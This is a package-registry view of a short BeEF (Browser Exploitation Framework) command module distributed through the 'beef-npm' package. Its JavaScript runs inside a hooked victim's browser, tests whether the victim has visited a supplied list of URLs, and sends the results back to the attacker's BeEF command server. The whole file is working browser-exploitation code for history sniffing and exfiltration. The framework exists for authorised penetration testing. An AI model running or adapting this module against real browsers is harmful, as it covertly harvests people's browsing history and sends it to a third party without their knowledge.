UNPKG

beef-npm

Version:

Node.js package to install and interact with BeEF (Browser Exploitation Framework)

17 lines (14 loc) 476 B
// // Copyright (c) 2006-2024 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var results = beef.browser.hasVisited("<%== format_multiline(@urls) %>"); var comp = ''; for (var i=0; i < results.length; i++) { comp += results[i].url+' = '+results[i].visited+' '; } beef.net.send("<%= @command_url %>", <%= @command_id %>, comp); });